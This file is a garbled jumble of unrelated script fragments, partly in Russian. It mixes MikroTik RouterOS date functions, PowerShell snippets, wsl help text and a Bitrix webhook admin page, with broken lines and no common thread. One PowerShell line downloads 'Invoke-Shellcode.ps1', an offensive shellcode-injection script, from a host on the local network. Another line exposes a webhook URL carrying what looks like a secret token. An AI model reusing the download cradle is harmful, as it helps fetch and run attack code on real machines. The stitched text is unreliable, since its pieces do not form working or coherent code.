########## func_date2days - count days from base to given date.
# Input: two dates like "jan/1/2017"
########## uncomment for testing
:local date $1
#:local date "sep/13/2017"
#:put $date
# Base MUST BE lower of any given date. Mikrotik counts from jan/01/1970.
#correct only for years>1918
:local base 1970
########################################
:local mdays {31;28;31;30;31;30;31;31;30;31;30;31}
:local months {"jan"=1;"feb"=2;"mar"=3;"apr"=4;"may"=5;"jun"=6;"jul"=7;"aug"=8;"sep"=9;"oct"=10;"nov"=11;"dec"=12}
#date
:local dd [:tonum [:pick $date 4 6]]
:local yy [:tonum [:pick $date 7 11]]
:local mm [:pick $date 0 3]
:set mm ($months->$mm)
#0. We have dd/mm/yy
:local res 0
#1. Move to 01/mm/yy
:set res ($res+$dd-1)
#2. Move to 01/01/yy
:while ($mm>1) do={
:set mm ($mm-1)
:local dm [:pick $mdays ($mm-1)]
:if ($mm=2 && (($yy&3=0 && $yy/100*100 != $yy) || $yy/400*400=$yy) ) do={ :set dm 29 }
:set res ($res+$dm)
}
#3. Move to 01/01/1900
:while ($yy>$base) do={
:set yy ($yy-1)
:set res ($res+365)
:if ( ( ($yy&3=0) && ($yy/100*100 != $yy)) || $yy/400*400=$yy ) do={
:set res ($res+1)
}
}
:return $res
########## func_days2date - convert days from base to date string
# Input: days like 18762 (may/15/2021)
########## uncomment for testing
:local days $1
#:local days 789
#:put $days
#days starts from 1
:set days ($days + 1)
# Base MUST BE lower of any given date. Mikrotik counts from jan/01/1970.
#correct only for years>1918
:local base 1970
########################################
:local mdays {31;28;31;30;31;30;31;31;30;31;30;31}
:local months {1="jan";2="feb";3="mar";4="apr";5="may";6="jun";7="jul";8="aug";9="sep";10="oct";11="nov";12="dec"}
#date
:local yy $base
:local mm 0
# base year is not leap
:local daydiff 365
:local isleap false
#1. Move to 01/01/yy
:while ($days > $daydiff) do={
:set days ($days - $daydiff)
:set yy ($yy + 1)
:if ( ( ($yy & 3 = 0) && ($yy/100*100 != $yy)) || $yy/400*400=$yy ) do={
:set daydiff 366
:set isleap true
# :put "adjust: $yy, days: $days"
} else={
:set daydiff 365
:set isleap false
}
# :put "yy: $yy, days: $days"
}
#2. Adjust feb 29 if leap year
#:put "mmm: $mm, days: $days, isleap: $isleap"
:if ($isleap) do={
# :put "adjust month days"
:set ($mdays->1) 29
}
#3. Move to 01/mm/yy
:while ($days > $mdays->$mm) do={
# :put ($mdays->$mm)
:set days ($days-($mdays->$mm))
:set mm ($mm + 1)
# :put "mm: $mm, days: $days"
}
:local month [:tostr ($mm + 1)]
:set month ($months->$month)
:if ($days < 10) do={ :set days ("0".(:tostr $days)) } else={ :set days (:tostr $days) }
:local res "$month/$days/$yy"
#:put $res
:return $res
:local date2days [:parse [/system script get func_date2days source]]; :local today "may/12/2023"; :local days [$date2days $today]; :put $days;
:local days2date [:parse [/system script get func_days2date source]]; :put [$days2date ($days-1)]
$border = 40
$prev_temp = Get-Temperature
do {
$cur_temp = Get-Temperature
if (
($cur_temp -lt $border -and $prev_temp -gt $border) -or
($cur_temp -gt $border -and $prev_temp -lt $border)
)
{
Send-Notification $prev_temp $cur_temp
}
$prev_temp = $cur_temp
Start-Sleep -Seconds 60
} while ($true)
$result = wsl ls
Если командная строка не указана, wsl.exe запускает оболочку по умолчанию.
--exec, -e
Выполните указанную команду без использования оболочки Linux по умолчанию.
Start-Process -FilePath "C:\QUIK_VTB_85\info.exe" -WorkingDirectory "C:\QUIK_VTB_85\"
Start-Process -?
wsl -?
Использование: wsl.exe [Argument] [Options...] [CommandLine]
wsl service cron status
, выдаст вам то что надо| Select-String Active
if (([bool] ($null)) -eq $NetDriveName )
if (-not $NetDriveName) {
net use
}
Invoke-Command -ScriptBlock { cmd /c "chcp 65001 && ipconfig /all" } -ComputerName ...
Значение нуля означает, что время последнего входа неизвестно.
(New-Object Net.WebClient).DownloadString("http://192.168.0.14:8000/Invoke-Shellcode.ps1")
<?php require_once($_SERVER['DOCUMENT_ROOT'] .
"/bitrix/modules/main/include/prolog_admin.php"); ?>
<div class="adm-workarea">
<? $APPLICATION->IncludeComponent(
"bitrix:rest.hook",
".default",
[
"SEF_MODE" => "Y",
"SEF_FOLDER" => "/local/rest/",
"COMPONENT_TEMPLATE" => ".default",
"SEF_URL_TEMPLATES" => [
"list" => "",
"event_list" => "event/",
"event_edit" => "event/#id#/",
"ap_list" => "ap/",
"ap_edit" => "ap/#id#/",
]
],
false
); ?>
<br>
<a href="javascript:void(0)" class="adm-btn adm-btn-green"
onclick="BX.PopupMenu.show('rest_hook_menu', this, [{
'href':'/local/rest/event/0/',
'text':'Исходящий вебхук'
},{
'href':'/local/rest/ap/0/',
'text':'Входящий вебхук'
}])">
Добавить вебхук
</a>
</div>
<? require($_SERVER["DOCUMENT_ROOT"] . "/bitrix/modules/main/include/epilog_admin.php");
array(
'CONDITION' => '#^/local/rest/#',
'RULE' => '',
'ID' => 'bitrix:rest.hook',
'PATH' => '/local/rest/index.php',
),
https: //site.domain/rest/17607/p8n2dh2hf2nf258n/profile/
Get-ChildItem "C:\Temp\files\*.txt" | Group-Object {$_.Name.Substring(2)} | Foreach-Object { $_.Group | Select -Skip 1 }